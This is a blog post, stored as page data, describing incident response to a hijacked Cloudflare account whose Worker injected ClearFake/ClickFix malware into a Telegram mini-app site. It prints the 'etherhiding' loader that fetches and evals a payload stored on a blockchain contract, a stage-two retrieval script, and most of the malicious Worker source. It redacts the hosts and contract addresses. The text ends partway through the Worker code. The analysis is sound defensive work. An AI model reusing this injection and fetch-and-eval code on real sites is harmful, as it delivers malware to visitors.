[{"data":1,"prerenderedAt":2595},["ShallowReactive",2],{"post-clearfake-cloudflare-worker":3},{"id":4,"title":5,"body":6,"date":2580,"description":2581,"excerpt":2582,"extension":2583,"meta":2584,"navigation":226,"path":2585,"seo":2586,"stem":2587,"tags":2588,"til":2593,"__hash__":2594},"posts\u002Fposts\u002Fclearfake-cloudflare-worker.md","someone popped my cloudflare and used a worker to inject malware on a site under my domain for 22 hours",{"type":7,"value":8,"toc":2566},"minimark",[9,22,32,52,55,60,153,164,167,171,174,310,313,327,338,356,360,1102,1125,1128,1131,1135,1138,1267,1270,1297,1304,1308,1311,1317,1320,2024,2027,2033,2036,2039,2043,2046,2129,2132,2138,2141,2181,2184,2188,2195,2198,2201,2205,2208,2290,2293,2297,2300,2307,2314,2317,2321,2324,2353,2356,2360,2363,2370,2390,2399,2402,2411,2414,2430,2434,2549,2559,2562],[10,11,12,13,17,18,21],"p",{},"a friend pinged me. it's his telegram mini-app, but it's running on a subdomain of mine — i registered the subdomain for him, dns goes through my cloudflare, that's the only thing tying me to it. a user of his messaged saying \"weird captcha on the site. it told me to press win+r and paste this.\" the command was a ",[14,15,16],"code",{},"rundll32"," line loading a DLL from a hostile SMB share, with the function called by ordinal ",[14,19,20],{},"#1",". i'm not going to print the actual host because there are people who would copy-paste it just to see what it does, and that does what it says on the tin. so the shape was:",[23,24,29],"pre",{"className":25,"code":27,"language":28},[26],"language-text","rundll32.exe \\\\\u003Cmalicious-host>\\\u003Cshare>\\\u003Cpayload>.chk,#1\n","text",[14,30,27],{"__ignoreMap":31},"",[10,33,34,35,38,39,43,44,47,48,51],{},"windows happily fetches the DLL via the WebDAV fallback when SMB is blocked, and ",[14,36,37],{},"rundll32 ...,#1"," calls the DLL's exported function by ordinal 1. the user wasn't being attacked by an exploit. the user was being asked to ",[40,41,42],"strong",{},"run the malware themselves",", by hand, in the run dialog. this is the ",[40,45,46],{},"clickfix"," technique, industrialised by the ",[40,49,50],{},"clearfake"," campaign. it's everywhere in 2025-2026 because it's stupid and it works.",[10,53,54],{},"so a site on my domain was hosting clickfix. cool.",[56,57,59],"h2",{"id":58},"first-move-is-the-source-dirty","first move: is the source dirty",[23,61,65],{"className":62,"code":63,"language":64,"meta":31,"style":31},"language-bash shiki shiki-themes github-dark github-dark","grep -rni \\\n  --include='*.html' --include='*.js' --include='*.ts' --include='*.tsx' \\\n  --include='*.py' --include='*.yaml' --include='*.json' --include='*.sh' \\\n  -l '\u003Cmalicious-host>\\|\u003Cmalicious-share>\\|rundll32\\|navigator\\.clipboard\\|execCommand.*copy' \\\n  .\n","bash",[14,66,67,83,111,136,147],{"__ignoreMap":31},[68,69,72,76,80],"span",{"class":70,"line":71},"line",1,[68,73,75],{"class":74},"sFR8T","grep",[68,77,79],{"class":78},"s8ozJ"," -rni",[68,81,82],{"class":78}," \\\n",[68,84,86,89,93,96,99,101,104,106,109],{"class":70,"line":85},2,[68,87,88],{"class":78},"  --include=",[68,90,92],{"class":91},"s4wv1","'*.html'",[68,94,95],{"class":78}," --include=",[68,97,98],{"class":91},"'*.js'",[68,100,95],{"class":78},[68,102,103],{"class":91},"'*.ts'",[68,105,95],{"class":78},[68,107,108],{"class":91},"'*.tsx'",[68,110,82],{"class":78},[68,112,114,116,119,121,124,126,129,131,134],{"class":70,"line":113},3,[68,115,88],{"class":78},[68,117,118],{"class":91},"'*.py'",[68,120,95],{"class":78},[68,122,123],{"class":91},"'*.yaml'",[68,125,95],{"class":78},[68,127,128],{"class":91},"'*.json'",[68,130,95],{"class":78},[68,132,133],{"class":91},"'*.sh'",[68,135,82],{"class":78},[68,137,139,142,145],{"class":70,"line":138},4,[68,140,141],{"class":78},"  -l",[68,143,144],{"class":91}," '\u003Cmalicious-host>\\|\u003Cmalicious-share>\\|rundll32\\|navigator\\.clipboard\\|execCommand.*copy'",[68,146,82],{"class":78},[68,148,150],{"class":70,"line":149},5,[68,151,152],{"class":91},"  .\n",[10,154,155,156,159,160,163],{},"two hits on ",[14,157,158],{},"clipboard.writeText",". one copies the user's own integer ID to the clipboard for the \"copy id\" button. one copies a hardcoded ",[14,161,162],{},"https:\u002F\u002Ft.me\u002F\u003Cbot>?startapp=user_\u003Cid>"," for the \"copy share link\" button. nothing pointing to the malicious host, no rundll32 strings.",[10,165,166],{},"source is clean. injection is happening somewhere downstream.",[56,168,170],{"id":169},"bypass-the-cdn-hit-the-origin-direct","bypass the cdn, hit the origin direct",[10,172,173],{},"this is the single most useful incident response command i know:",[23,175,177],{"className":62,"code":176,"language":64,"meta":31,"style":31},"ORIGIN_IP=\u003Cthe unproxied A-record value from your CF DNS tab>\n\ncurl -sk --resolve hostname:443:$ORIGIN_IP \\\n  https:\u002F\u002Fhostname\u002F -o origin.html\n\ncurl -sk https:\u002F\u002Fhostname\u002F -o cf.html\n\nwc -c origin.html cf.html\n#  902 origin.html\n# 2866 cf.html\n",[14,178,179,222,228,248,259,263,278,283,297,304],{"__ignoreMap":31},[68,180,181,185,189,192,195,198,201,204,207,210,213,216,219],{"class":70,"line":71},[68,182,184],{"class":183},"suv1-","ORIGIN_IP",[68,186,188],{"class":187},"sOPea","=\u003C",[68,190,191],{"class":91},"the",[68,193,194],{"class":74}," unproxied",[68,196,197],{"class":91}," A-record",[68,199,200],{"class":91}," value",[68,202,203],{"class":91}," from",[68,205,206],{"class":91}," your",[68,208,209],{"class":91}," CF",[68,211,212],{"class":91}," DNS",[68,214,215],{"class":91}," ta",[68,217,218],{"class":183},"b",[68,220,221],{"class":187},">\n",[68,223,224],{"class":70,"line":85},[68,225,227],{"emptyLinePlaceholder":226},true,"\n",[68,229,230,233,236,239,242,245],{"class":70,"line":113},[68,231,232],{"class":74},"curl",[68,234,235],{"class":78}," -sk",[68,237,238],{"class":78}," --resolve",[68,240,241],{"class":91}," hostname:443:",[68,243,244],{"class":183},"$ORIGIN_IP ",[68,246,247],{"class":78},"\\\n",[68,249,250,253,256],{"class":70,"line":138},[68,251,252],{"class":91},"  https:\u002F\u002Fhostname\u002F",[68,254,255],{"class":78}," -o",[68,257,258],{"class":91}," origin.html\n",[68,260,261],{"class":70,"line":149},[68,262,227],{"emptyLinePlaceholder":226},[68,264,266,268,270,273,275],{"class":70,"line":265},6,[68,267,232],{"class":74},[68,269,235],{"class":78},[68,271,272],{"class":91}," https:\u002F\u002Fhostname\u002F",[68,274,255],{"class":78},[68,276,277],{"class":91}," cf.html\n",[68,279,281],{"class":70,"line":280},7,[68,282,227],{"emptyLinePlaceholder":226},[68,284,286,289,292,295],{"class":70,"line":285},8,[68,287,288],{"class":74},"wc",[68,290,291],{"class":78}," -c",[68,293,294],{"class":91}," origin.html",[68,296,277],{"class":91},[68,298,300],{"class":70,"line":299},9,[68,301,303],{"class":302},"sJ8bj","#  902 origin.html\n",[68,305,307],{"class":70,"line":306},10,[68,308,309],{"class":302},"# 2866 cf.html\n",[10,311,312],{},"the bytes don't match.",[23,314,316],{"className":62,"code":315,"language":64,"meta":31,"style":31},"diff origin.html cf.html\n",[14,317,318],{"__ignoreMap":31},[68,319,320,323,325],{"class":70,"line":71},[68,321,322],{"class":74},"diff",[68,324,294],{"class":91},[68,326,277],{"class":91},[10,328,329,330,333,334,337],{},"the diff is one line. a ",[14,331,332],{},"\u003Cscript>"," block injected before ",[14,335,336],{},"\u003C\u002Fbody>",". so the origin VM is fine. the bundle and CSS are fine (greps return 0). the box i would have spent the next two hours forensically combing isn't actually compromised. the injection is happening at cloudflare.",[10,339,340,343,344,347,348,351,352,355],{},[14,341,342],{},"server: cloudflare",", ",[14,345,346],{},"cf-ray",", no ",[14,349,350],{},"etag"," (cloudflare strips etag whenever it modifies the body), no ",[14,353,354],{},"cf-cache-status"," (cloudflare doesn't cache html by default, and even if it did, the worker runs on every request anyway). consistent across user-agents (chrome, curl, telegram-android, googlebot). it's not gating per visitor. every html response gets the loader.",[56,357,359],{"id":358},"the-injected-script","the injected script",[23,361,365],{"className":362,"code":363,"language":364,"meta":31,"style":31},"language-js shiki shiki-themes github-dark github-dark","async function load_(address) {\n  let uint8ArrayToHexString = t => {\n    let e = \"0x\";\n    for (const a of t) {\n      const t = a.toString(16);\n      e += 1 === t.length ? `0${t}` : t\n    }\n    return e\n  };\n  _data = {\n    method: \"eth_call\",\n    params: [{ to: address, data: \"0x6d4ce63c\" }, \"latest\"],\n    id: 97, jsonrpc: \"2.0\"\n  };\n  _config = {\n    method: \"POST\",\n    headers: { Accept: \"application\u002Fjson\", \"Content-Type\": \"application\u002Fjson\" },\n    body: JSON.stringify(_data)\n  };\n  url = \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\";\n  response = await fetch(url, _config);\n  answer = (await response.json()).result.slice(2);\n  unhexed = new Uint8Array(answer.match(\u002F[\\da-f]{2}\u002Fgi).map(t => parseInt(t, 16)));\n  offset = Number(uint8ArrayToHexString(unhexed.slice(0, 32)));\n  len = Number(uint8ArrayToHexString(unhexed.slice(32, 32 + offset)));\n  value = String.fromCharCode.apply(null, unhexed.slice(32 + offset, 32 + offset + len));\n  eval(atob(value))\n}\n\nconst isHeadless = () => { \u002F* sandbox checks *\u002F };\nconst isLocalhost = () => { \u002F* dev-env checks *\u002F };\nconst isWindows = navigator.userAgent.includes(\"Windows\") || \u002F* … *\u002F;\nconst isMac     = navigator.userAgent.includes(\"Macintosh\") || \u002F* … *\u002F;\n\nisHeadless() || isLocalhost()\n  ? console.log(\"stop watching us :)\")\n  : isWindows ? load_(\"0x\u003Credacted-windows-contract>\")\n  : isMac     ? load_(\"0x\u003Credacted-mac-contract>\")\n  : null;\n","js",[14,366,367,388,408,425,445,468,506,511,519,524,533,545,563,578,583,593,603,625,643,648,661,678,710,769,802,834,880,894,900,905,930,951,983,1011,1016,1032,1052,1073,1092],{"__ignoreMap":31},[68,368,369,372,375,378,381,385],{"class":70,"line":71},[68,370,371],{"class":187},"async",[68,373,374],{"class":187}," function",[68,376,377],{"class":74}," load_",[68,379,380],{"class":183},"(",[68,382,384],{"class":383},"s-3mD","address",[68,386,387],{"class":183},") {\n",[68,389,390,393,396,399,402,405],{"class":70,"line":85},[68,391,392],{"class":187},"  let",[68,394,395],{"class":74}," uint8ArrayToHexString",[68,397,398],{"class":187}," =",[68,400,401],{"class":383}," t",[68,403,404],{"class":187}," =>",[68,406,407],{"class":183}," {\n",[68,409,410,413,416,419,422],{"class":70,"line":113},[68,411,412],{"class":187},"    let",[68,414,415],{"class":183}," e ",[68,417,418],{"class":187},"=",[68,420,421],{"class":91}," \"0x\"",[68,423,424],{"class":183},";\n",[68,426,427,430,433,436,439,442],{"class":70,"line":138},[68,428,429],{"class":187},"    for",[68,431,432],{"class":183}," (",[68,434,435],{"class":187},"const",[68,437,438],{"class":78}," a",[68,440,441],{"class":187}," of",[68,443,444],{"class":183}," t) {\n",[68,446,447,450,452,454,457,460,462,465],{"class":70,"line":149},[68,448,449],{"class":187},"      const",[68,451,401],{"class":78},[68,453,398],{"class":187},[68,455,456],{"class":183}," a.",[68,458,459],{"class":74},"toString",[68,461,380],{"class":183},[68,463,464],{"class":78},"16",[68,466,467],{"class":183},");\n",[68,469,470,473,476,479,482,485,488,491,494,497,500,503],{"class":70,"line":265},[68,471,472],{"class":183},"      e ",[68,474,475],{"class":187},"+=",[68,477,478],{"class":78}," 1",[68,480,481],{"class":187}," ===",[68,483,484],{"class":183}," t.",[68,486,487],{"class":78},"length",[68,489,490],{"class":187}," ?",[68,492,493],{"class":91}," `0${",[68,495,496],{"class":183},"t",[68,498,499],{"class":91},"}`",[68,501,502],{"class":187}," :",[68,504,505],{"class":183}," t\n",[68,507,508],{"class":70,"line":280},[68,509,510],{"class":183},"    }\n",[68,512,513,516],{"class":70,"line":285},[68,514,515],{"class":187},"    return",[68,517,518],{"class":183}," e\n",[68,520,521],{"class":70,"line":299},[68,522,523],{"class":183},"  };\n",[68,525,526,529,531],{"class":70,"line":306},[68,527,528],{"class":183},"  _data ",[68,530,418],{"class":187},[68,532,407],{"class":183},[68,534,536,539,542],{"class":70,"line":535},11,[68,537,538],{"class":183},"    method: ",[68,540,541],{"class":91},"\"eth_call\"",[68,543,544],{"class":183},",\n",[68,546,548,551,554,557,560],{"class":70,"line":547},12,[68,549,550],{"class":183},"    params: [{ to: address, data: ",[68,552,553],{"class":91},"\"0x6d4ce63c\"",[68,555,556],{"class":183}," }, ",[68,558,559],{"class":91},"\"latest\"",[68,561,562],{"class":183},"],\n",[68,564,566,569,572,575],{"class":70,"line":565},13,[68,567,568],{"class":183},"    id: ",[68,570,571],{"class":78},"97",[68,573,574],{"class":183},", jsonrpc: ",[68,576,577],{"class":91},"\"2.0\"\n",[68,579,581],{"class":70,"line":580},14,[68,582,523],{"class":183},[68,584,586,589,591],{"class":70,"line":585},15,[68,587,588],{"class":183},"  _config ",[68,590,418],{"class":187},[68,592,407],{"class":183},[68,594,596,598,601],{"class":70,"line":595},16,[68,597,538],{"class":183},[68,599,600],{"class":91},"\"POST\"",[68,602,544],{"class":183},[68,604,606,609,612,614,617,620,622],{"class":70,"line":605},17,[68,607,608],{"class":183},"    headers: { Accept: ",[68,610,611],{"class":91},"\"application\u002Fjson\"",[68,613,343],{"class":183},[68,615,616],{"class":91},"\"Content-Type\"",[68,618,619],{"class":183},": ",[68,621,611],{"class":91},[68,623,624],{"class":183}," },\n",[68,626,628,631,634,637,640],{"class":70,"line":627},18,[68,629,630],{"class":183},"    body: ",[68,632,633],{"class":78},"JSON",[68,635,636],{"class":183},".",[68,638,639],{"class":74},"stringify",[68,641,642],{"class":183},"(_data)\n",[68,644,646],{"class":70,"line":645},19,[68,647,523],{"class":183},[68,649,651,654,656,659],{"class":70,"line":650},20,[68,652,653],{"class":183},"  url ",[68,655,418],{"class":187},[68,657,658],{"class":91}," \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\"",[68,660,424],{"class":183},[68,662,664,667,669,672,675],{"class":70,"line":663},21,[68,665,666],{"class":183},"  response ",[68,668,418],{"class":187},[68,670,671],{"class":187}," await",[68,673,674],{"class":74}," fetch",[68,676,677],{"class":183},"(url, _config);\n",[68,679,681,684,686,688,691,694,697,700,703,705,708],{"class":70,"line":680},22,[68,682,683],{"class":183},"  answer ",[68,685,418],{"class":187},[68,687,432],{"class":183},[68,689,690],{"class":187},"await",[68,692,693],{"class":183}," response.",[68,695,696],{"class":74},"json",[68,698,699],{"class":183},"()).result.",[68,701,702],{"class":74},"slice",[68,704,380],{"class":183},[68,706,707],{"class":78},"2",[68,709,467],{"class":183},[68,711,713,716,718,721,724,727,730,732,735,738,741,743,746,749,752,754,756,758,761,764,766],{"class":70,"line":712},23,[68,714,715],{"class":183},"  unhexed ",[68,717,418],{"class":187},[68,719,720],{"class":187}," new",[68,722,723],{"class":74}," Uint8Array",[68,725,726],{"class":183},"(answer.",[68,728,729],{"class":74},"match",[68,731,380],{"class":183},[68,733,734],{"class":91},"\u002F",[68,736,737],{"class":78},"[\\da-f]",[68,739,740],{"class":187},"{2}",[68,742,734],{"class":91},[68,744,745],{"class":187},"gi",[68,747,748],{"class":183},").",[68,750,751],{"class":74},"map",[68,753,380],{"class":183},[68,755,496],{"class":383},[68,757,404],{"class":187},[68,759,760],{"class":74}," parseInt",[68,762,763],{"class":183},"(t, ",[68,765,464],{"class":78},[68,767,768],{"class":183},")));\n",[68,770,772,775,777,780,782,785,788,790,792,795,797,800],{"class":70,"line":771},24,[68,773,774],{"class":183},"  offset ",[68,776,418],{"class":187},[68,778,779],{"class":74}," Number",[68,781,380],{"class":183},[68,783,784],{"class":74},"uint8ArrayToHexString",[68,786,787],{"class":183},"(unhexed.",[68,789,702],{"class":74},[68,791,380],{"class":183},[68,793,794],{"class":78},"0",[68,796,343],{"class":183},[68,798,799],{"class":78},"32",[68,801,768],{"class":183},[68,803,805,808,810,812,814,816,818,820,822,824,826,828,831],{"class":70,"line":804},25,[68,806,807],{"class":183},"  len ",[68,809,418],{"class":187},[68,811,779],{"class":74},[68,813,380],{"class":183},[68,815,784],{"class":74},[68,817,787],{"class":183},[68,819,702],{"class":74},[68,821,380],{"class":183},[68,823,799],{"class":78},[68,825,343],{"class":183},[68,827,799],{"class":78},[68,829,830],{"class":187}," +",[68,832,833],{"class":183}," offset)));\n",[68,835,837,840,842,845,848,850,853,856,858,860,862,864,867,869,871,874,877],{"class":70,"line":836},26,[68,838,839],{"class":183},"  value ",[68,841,418],{"class":187},[68,843,844],{"class":183}," String.fromCharCode.",[68,846,847],{"class":74},"apply",[68,849,380],{"class":183},[68,851,852],{"class":78},"null",[68,854,855],{"class":183},", unhexed.",[68,857,702],{"class":74},[68,859,380],{"class":183},[68,861,799],{"class":78},[68,863,830],{"class":187},[68,865,866],{"class":183}," offset, ",[68,868,799],{"class":78},[68,870,830],{"class":187},[68,872,873],{"class":183}," offset ",[68,875,876],{"class":187},"+",[68,878,879],{"class":183}," len));\n",[68,881,883,886,888,891],{"class":70,"line":882},27,[68,884,885],{"class":74},"  eval",[68,887,380],{"class":183},[68,889,890],{"class":74},"atob",[68,892,893],{"class":183},"(value))\n",[68,895,897],{"class":70,"line":896},28,[68,898,899],{"class":183},"}\n",[68,901,903],{"class":70,"line":902},29,[68,904,227],{"emptyLinePlaceholder":226},[68,906,908,910,913,915,918,921,924,927],{"class":70,"line":907},30,[68,909,435],{"class":187},[68,911,912],{"class":74}," isHeadless",[68,914,398],{"class":187},[68,916,917],{"class":183}," () ",[68,919,920],{"class":187},"=>",[68,922,923],{"class":183}," { ",[68,925,926],{"class":302},"\u002F* sandbox checks *\u002F",[68,928,929],{"class":183}," };\n",[68,931,933,935,938,940,942,944,946,949],{"class":70,"line":932},31,[68,934,435],{"class":187},[68,936,937],{"class":74}," isLocalhost",[68,939,398],{"class":187},[68,941,917],{"class":183},[68,943,920],{"class":187},[68,945,923],{"class":183},[68,947,948],{"class":302},"\u002F* dev-env checks *\u002F",[68,950,929],{"class":183},[68,952,954,956,959,961,964,967,969,972,975,978,981],{"class":70,"line":953},32,[68,955,435],{"class":187},[68,957,958],{"class":78}," isWindows",[68,960,398],{"class":187},[68,962,963],{"class":183}," navigator.userAgent.",[68,965,966],{"class":74},"includes",[68,968,380],{"class":183},[68,970,971],{"class":91},"\"Windows\"",[68,973,974],{"class":183},") ",[68,976,977],{"class":187},"||",[68,979,980],{"class":302}," \u002F* … *\u002F",[68,982,424],{"class":183},[68,984,986,988,991,994,996,998,1000,1003,1005,1007,1009],{"class":70,"line":985},33,[68,987,435],{"class":187},[68,989,990],{"class":78}," isMac",[68,992,993],{"class":187},"     =",[68,995,963],{"class":183},[68,997,966],{"class":74},[68,999,380],{"class":183},[68,1001,1002],{"class":91},"\"Macintosh\"",[68,1004,974],{"class":183},[68,1006,977],{"class":187},[68,1008,980],{"class":302},[68,1010,424],{"class":183},[68,1012,1014],{"class":70,"line":1013},34,[68,1015,227],{"emptyLinePlaceholder":226},[68,1017,1019,1022,1025,1027,1029],{"class":70,"line":1018},35,[68,1020,1021],{"class":74},"isHeadless",[68,1023,1024],{"class":183},"() ",[68,1026,977],{"class":187},[68,1028,937],{"class":74},[68,1030,1031],{"class":183},"()\n",[68,1033,1035,1038,1041,1044,1046,1049],{"class":70,"line":1034},36,[68,1036,1037],{"class":187},"  ?",[68,1039,1040],{"class":183}," console.",[68,1042,1043],{"class":74},"log",[68,1045,380],{"class":183},[68,1047,1048],{"class":91},"\"stop watching us :)\"",[68,1050,1051],{"class":183},")\n",[68,1053,1055,1058,1061,1064,1066,1068,1071],{"class":70,"line":1054},37,[68,1056,1057],{"class":187},"  :",[68,1059,1060],{"class":183}," isWindows ",[68,1062,1063],{"class":187},"?",[68,1065,377],{"class":74},[68,1067,380],{"class":183},[68,1069,1070],{"class":91},"\"0x\u003Credacted-windows-contract>\"",[68,1072,1051],{"class":183},[68,1074,1076,1078,1081,1083,1085,1087,1090],{"class":70,"line":1075},38,[68,1077,1057],{"class":187},[68,1079,1080],{"class":183}," isMac     ",[68,1082,1063],{"class":187},[68,1084,377],{"class":74},[68,1086,380],{"class":183},[68,1088,1089],{"class":91},"\"0x\u003Credacted-mac-contract>\"",[68,1091,1051],{"class":183},[68,1093,1095,1097,1100],{"class":70,"line":1094},39,[68,1096,1057],{"class":187},[68,1098,1099],{"class":78}," null",[68,1101,424],{"class":183},[10,1103,1104,1105,1108,1109,1112,1113,1116,1117,1120,1121,1124],{},"this is ",[40,1106,1107],{},"etherhiding",". the payload isn't on a server. it's on a smart contract. ",[14,1110,1111],{},"0x6d4ce63c"," is the function selector for ",[14,1114,1115],{},"get()",". the loader calls ",[14,1118,1119],{},"eth_call"," against the contract, ABI-decodes the returned string, base64-decodes it, and ",[14,1122,1123],{},"eval","s it.",[10,1126,1127],{},"two contracts on bsc testnet, one per OS — i'm redacting their addresses so the post doesn't drive curiosity traffic to them. mobile (ios\u002Fandroid) is skipped — the loader runs but the windows\u002Fmac branch never fires, so phone visitors never got the captcha. small mercy for telegram mini-app traffic, which is mostly mobile.",[10,1129,1130],{},"the operational appeal of etherhiding for the attacker: they can rotate the malware payload by sending a single transaction to the contract. they don't need to log back into your cloudflare. they don't need to touch your server. they don't need to maintain a c2 host. the bsc rpc is publicnode, they can't take it down. there's no domain to seize.",[56,1132,1134],{"id":1133},"stage-two","stage two",[10,1136,1137],{},"just to confirm the chain ends at what the user reported:",[23,1139,1143],{"className":1140,"code":1141,"language":1142,"meta":31,"style":31},"language-python shiki shiki-themes github-dark github-dark","import json, base64, urllib.request\n\nreq = urllib.request.Request(\n    \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\",\n    method=\"POST\",\n    headers={\"Content-Type\": \"application\u002Fjson\"},\n    data=json.dumps({\n        \"method\": \"eth_call\",\n        \"params\": [\n            {\"to\": \"0x\u003Credacted-stage1-contract>\", \"data\": \"0x6d4ce63c\"},\n            \"latest\"\n        ],\n        \"id\": 1, \"jsonrpc\": \"2.0\"\n    }).encode()\n)\nresult = json.load(urllib.request.urlopen(req))[\"result\"]\n\nb = bytes.fromhex(result[2:])\noffset = int.from_bytes(b[0:32], \"big\")\nlength = int.from_bytes(b[offset:offset+32], \"big\")\nb64 = b[offset+32 : offset+32+length].decode()\njs = base64.b64decode(b64).decode(\"utf-8\", \"replace\")\nopen(\"stage2.js\", \"w\").write(js)\nprint(len(js), \"bytes\")\n# 42752 bytes\n","python",[14,1144,1145,1150,1154,1159,1164,1169,1174,1179,1184,1189,1194,1199,1204,1209,1214,1218,1223,1227,1232,1237,1242,1247,1252,1257,1262],{"__ignoreMap":31},[68,1146,1147],{"class":70,"line":71},[68,1148,1149],{},"import json, base64, urllib.request\n",[68,1151,1152],{"class":70,"line":85},[68,1153,227],{"emptyLinePlaceholder":226},[68,1155,1156],{"class":70,"line":113},[68,1157,1158],{},"req = urllib.request.Request(\n",[68,1160,1161],{"class":70,"line":138},[68,1162,1163],{},"    \"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\",\n",[68,1165,1166],{"class":70,"line":149},[68,1167,1168],{},"    method=\"POST\",\n",[68,1170,1171],{"class":70,"line":265},[68,1172,1173],{},"    headers={\"Content-Type\": \"application\u002Fjson\"},\n",[68,1175,1176],{"class":70,"line":280},[68,1177,1178],{},"    data=json.dumps({\n",[68,1180,1181],{"class":70,"line":285},[68,1182,1183],{},"        \"method\": \"eth_call\",\n",[68,1185,1186],{"class":70,"line":299},[68,1187,1188],{},"        \"params\": [\n",[68,1190,1191],{"class":70,"line":306},[68,1192,1193],{},"            {\"to\": \"0x\u003Credacted-stage1-contract>\", \"data\": \"0x6d4ce63c\"},\n",[68,1195,1196],{"class":70,"line":535},[68,1197,1198],{},"            \"latest\"\n",[68,1200,1201],{"class":70,"line":547},[68,1202,1203],{},"        ],\n",[68,1205,1206],{"class":70,"line":565},[68,1207,1208],{},"        \"id\": 1, \"jsonrpc\": \"2.0\"\n",[68,1210,1211],{"class":70,"line":580},[68,1212,1213],{},"    }).encode()\n",[68,1215,1216],{"class":70,"line":585},[68,1217,1051],{},[68,1219,1220],{"class":70,"line":595},[68,1221,1222],{},"result = json.load(urllib.request.urlopen(req))[\"result\"]\n",[68,1224,1225],{"class":70,"line":605},[68,1226,227],{"emptyLinePlaceholder":226},[68,1228,1229],{"class":70,"line":627},[68,1230,1231],{},"b = bytes.fromhex(result[2:])\n",[68,1233,1234],{"class":70,"line":645},[68,1235,1236],{},"offset = int.from_bytes(b[0:32], \"big\")\n",[68,1238,1239],{"class":70,"line":650},[68,1240,1241],{},"length = int.from_bytes(b[offset:offset+32], \"big\")\n",[68,1243,1244],{"class":70,"line":663},[68,1245,1246],{},"b64 = b[offset+32 : offset+32+length].decode()\n",[68,1248,1249],{"class":70,"line":680},[68,1250,1251],{},"js = base64.b64decode(b64).decode(\"utf-8\", \"replace\")\n",[68,1253,1254],{"class":70,"line":712},[68,1255,1256],{},"open(\"stage2.js\", \"w\").write(js)\n",[68,1258,1259],{"class":70,"line":771},[68,1260,1261],{},"print(len(js), \"bytes\")\n",[68,1263,1264],{"class":70,"line":804},[68,1265,1266],{},"# 42752 bytes\n",[10,1268,1269],{},"42KB of obfuscated javascript. it:",[1271,1272,1273,1277,1284,1287,1294],"ul",{},[1274,1275,1276],"li",{},"runs another headless\u002Fsandbox check (deeper than the loader's)",[1274,1278,1279,1280,1283],{},"generates a per-visitor uuid by querying ",[14,1281,1282],{},"https:\u002F\u002Fip-info.ff.avast.com\u002Fv2\u002Finfo"," for the visitor's ip — abuse of a legitimate avast endpoint as fingerprint source",[1274,1285,1286],{},"queries a third contract for \"is goal reached for this uuid\" — which is how the attacker shows the captcha exactly once per visitor and silently skips it after the user has already pasted the rundll32 line",[1274,1288,1289,1290,1293],{},"if not yet \"reached\", it renders the fake captcha overlay with a \"i'm not a robot\" button that copies the rundll32 line to the clipboard via ",[14,1291,1292],{},"navigator.clipboard.writeText"," and instructs the user to paste it",[1274,1295,1296],{},"injects an attacker-owned yandex metrika counter as cover so the page \"looks normal\" to the user inspecting devtools",[10,1298,1299,1300,1303],{},"what stage two does NOT do, importantly: it does not read ",[14,1301,1302],{},"Telegram.WebApp.initData",", does not read cookies, does not exfiltrate localStorage. zero data theft from the mini-app session itself. pure clickfix delivery.",[56,1305,1307],{"id":1306},"finding-the-worker","finding the worker",[10,1309,1310],{},"dash → workers & pages → list. there it was, top of the list:",[23,1312,1315],{"className":1313,"code":1314,"language":28},[26],"worker-shrill-sun-e3cf\ncreated  2026-04-25T16:25:42Z\nmodified 2026-04-25T16:25:56Z\n",[14,1316,1314],{"__ignoreMap":31},[10,1318,1319],{},"22 hours before discovery. clicked through, copied the source. it's a tiny shim:",[23,1321,1323],{"className":362,"code":1322,"language":364,"meta":31,"style":31},"export default {\n  async fetch(t, e, a) {\n    let s = \"\";\n    try {\n      const t = async t => {\n        const e = t => {\n          let e = \"0x\";\n          for (const a of t) {\n            const t = a.toString(16);\n            e += 1 === t.length ? `0${t}` : t\n          }\n          return e\n        },\n        a = await fetch(\"https:\u002F\u002Fbsc-testnet-rpc.publicnode.com\u002F\", {\n          method: \"POST\",\n          headers: { Accept: \"application\u002Fjson\", \"Content-Type\": \"application\u002Fjson\" },\n          body: JSON.stringify({\n            method: \"eth_call\",\n            params: [{ to: t, data: \"0x6d4ce63c\" }, \"latest\"],\n            id: 97, jsonrpc: \"2.0\"\n          })\n        }),\n        s = (await a.json()).result.slice(2),\n        n = new Uint8Array(s.match(\u002F[\\da-f]{2}\u002Fgi).map(t => parseInt(t, 16))),\n        c = Number(e(n.slice(0, 32))),\n        r = Number(e(n.slice(32, 32 + c)));\n        return String.fromCharCode.apply(null, n.slice(32 + c, 32 + c + r))\n      };\n      const e = await t(\"0x\u003Credacted-worker-stage-contract>\");\n      s = atob(e)\n    } catch {}\n    const n = await fetch(t);\n    if (!s || !n.headers.get(\"Content-Type\")?.includes(\"text\u002Fhtml\")) return n;\n    const c = (await n.text()).replace(\"\u003C\u002Fbody>\", `\u003Cscript>${s}\u003C\\\u002Fscript>\u003C\u002Fbody>`);\n    return new Response(c, {\n      status: n.status,\n      statusText: n.statusText,\n      headers: {\n        ...n.headers,\n        \"Content-Type\": \"text\u002Fhtml;charset=UTF-8\",\n        \"Content-Length\": c.length.toString()\n      }\n    })\n  }\n};\n",[14,1324,1325,1335,1358,1372,1379,1396,1412,1425,1440,1459,1486,1491,1498,1503,1522,1531,1548,1562,1571,1584,1595,1600,1605,1631,1678,1706,1736,1775,1780,1799,1812,1823,1840,1887,1935,1947,1952,1957,1962,1970,1983,2000,2006,2012,2018],{"__ignoreMap":31},[68,1326,1327,1330,1333],{"class":70,"line":71},[68,1328,1329],{"class":187},"export",[68,1331,1332],{"class":187}," default",[68,1334,407],{"class":183},[68,1336,1337,1340,1342,1344,1346,1348,1351,1353,1356],{"class":70,"line":85},[68,1338,1339],{"class":187},"  async",[68,1341,674],{"class":74},[68,1343,380],{"class":183},[68,1345,496],{"class":383},[68,1347,343],{"class":183},[68,1349,1350],{"class":383},"e",[68,1352,343],{"class":183},[68,1354,1355],{"class":383},"a",[68,1357,387],{"class":183},[68,1359,1360,1362,1365,1367,1370],{"class":70,"line":113},[68,1361,412],{"class":187},[68,1363,1364],{"class":183}," s ",[68,1366,418],{"class":187},[68,1368,1369],{"class":91}," \"\"",[68,1371,424],{"class":183},[68,1373,1374,1377],{"class":70,"line":138},[68,1375,1376],{"class":187},"    try",[68,1378,407],{"class":183},[68,1380,1381,1383,1385,1387,1390,1392,1394],{"class":70,"line":149},[68,1382,449],{"class":187},[68,1384,401],{"class":74},[68,1386,398],{"class":187},[68,1388,1389],{"class":187}," 